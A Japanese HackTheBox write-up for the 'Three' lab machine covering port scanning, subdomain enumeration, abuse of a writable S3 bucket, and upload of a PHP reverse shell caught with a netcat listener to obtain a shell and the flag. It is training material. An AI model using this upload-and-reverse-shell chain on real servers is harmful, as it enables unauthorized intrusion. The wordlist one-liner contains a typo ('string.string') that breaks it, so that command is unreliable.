HackTheBox Writeup: Three

## 概要
HackTheBox:Threeのflagを入手する手順を記す。

## Port Scan
```
$ nmap -A -sV three.htb --min-rate 5000
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-18 03:06 EDT
Nmap scan report for three.htb (10.129.78.62)
Host is up (0.25s latency).
Not shown: 866 closed tcp ports (conn-refused), 132 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 17:8b:d4:25:45:2a:20:b8:79:f8:e2:58:d7:8e:79:f4 (RSA)
|   256 e6:0f:1a:f6:32:8a:40:ef:2d:a7:3b:22:d1:c7:14:fa (ECDSA)
|_  256 2d:e1:87:41:75:f3:91:54:41:16:b7:2b:80:c6:8f:05 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Toppers
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.50 seconds
```
SSHとHTTPを提供しているようだ。

## HTTP
http://three.htb にアクセスする。
Task一覧を見る限り、他のドメインを探す必要があるようだ。

ページのソースコードを見ていくと
```
thetoppers.htb
```
を見つけることが出来る。
さらにTaskを進んでいくと、このドメインのサブドメインを探すことを提示してくる。

とりあえず、このドメインを/etc/hostsに追加しておく。

## サブドメイン探索
Taskとしては
```
**.thetoppers.htb
```
という形のサブドメインを探すことを想定している。

gobusterでサブドメインを探索しようと思うが、
その前に辞書ファイルを作成する必要がある。

以下のコマンドで**に当てはまる文字列の辞書ファイルを作成する。
```python
python3 -c 'import string, itertools;chars=string.digits+string.string.ascii_lowercase;words=["".join(word)+"\n" for word in itertools.product(chars,chars)];file=open("list.txt","w");file.writelines(words);file.close();'
```
辞書ファイルが手に入ったのでgobusterでのスキャンを行う。
```terminal
$ gobuster vhost -u http://thetoppers.htb -w list.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://thetoppers.htb
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     list.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2022/09/18 03:29:46 Starting gobuster in VHOST enumeration mode
===============================================================
Found: s3.thetoppers.htb (Status: 404) [Size: 21]
                                                 
===============================================================
2022/09/18 03:30:22 Finished
===============================================================
```
S3 Bucketが存在するようだ。
s3.thetoppers.htbも/etc/hostsに追加しておく。

## S3 Bucket
S3にawscliで接続し探索を試みる。
```terminal
$ aws --endpoint=http://s3.thetoppers.htb s3 ls
2022-09-18 03:04:08 thetoppers.htb
$ aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
                           PRE images/
2022-09-18 03:04:08          0 .htaccess
2022-09-18 03:04:08      11952 index.php
```
試しにファイルをアップロードしてみる。
```terminal
$ echo test > test.txt
$ aws --endpoint=http://s3.thetoppers.htb s3 cp test.txt s3://thetoppers.htb/test.txt 
upload: ./test.txt to s3://thetoppers.htb/test.txt
$ wget -O - http://thetoppers.htb/test.txt -q
test

```
これらのことから任意のphpファイルをアップロードし、呼び出すことが出来るということがわかる。

## Reverse Shell
まずリバースシェルを用意する。
ipとportは自分が使うものに編集する必要がある。

```
$ cp /usr/share/webshells/php/php-reverse-shell.php .
$ sed -i -e 's/127.0.0.1/10.10.14.166/g' -e 's/1234/4444/g' php-reverse-shell.php
```
s3にアップロードする。
```
$ aws --endpoint=http://s3.thetoppers.htb s3 cp php-reverse-shell.php s3://thetoppers.htb/shell.php
upload: ./php-reverse-shell.php to s3://thetoppers.htb/shell.php
```
次にnc(netcat)コマンドでリバース先を用意する。
```
$ nc -lvnp 4444
listening on [any] 4444 ...
```
最後に http://thetoppers.htb/shell.php にアクセスしてシェルを起動する。

```
$ nc -lvnp 4444  
listening on [any] 4444 ...
connect to [10.10.14.166] from (UNKNOWN) [10.129.78.62] 36108
Linux three 4.15.0-189-generic #200-Ubuntu SMP Wed Jun 22 19:53:37 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 08:00:41 up 59 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 
```

## Flag
シェルを奪取できたのでflagを探す。
```
$ cd /
$ find . 2>/dev/null | grep flag.txt
./var/www/flag.txt
$ cat /var/www/flag.txt
```
無事flagを手に入れることが出来た。

以上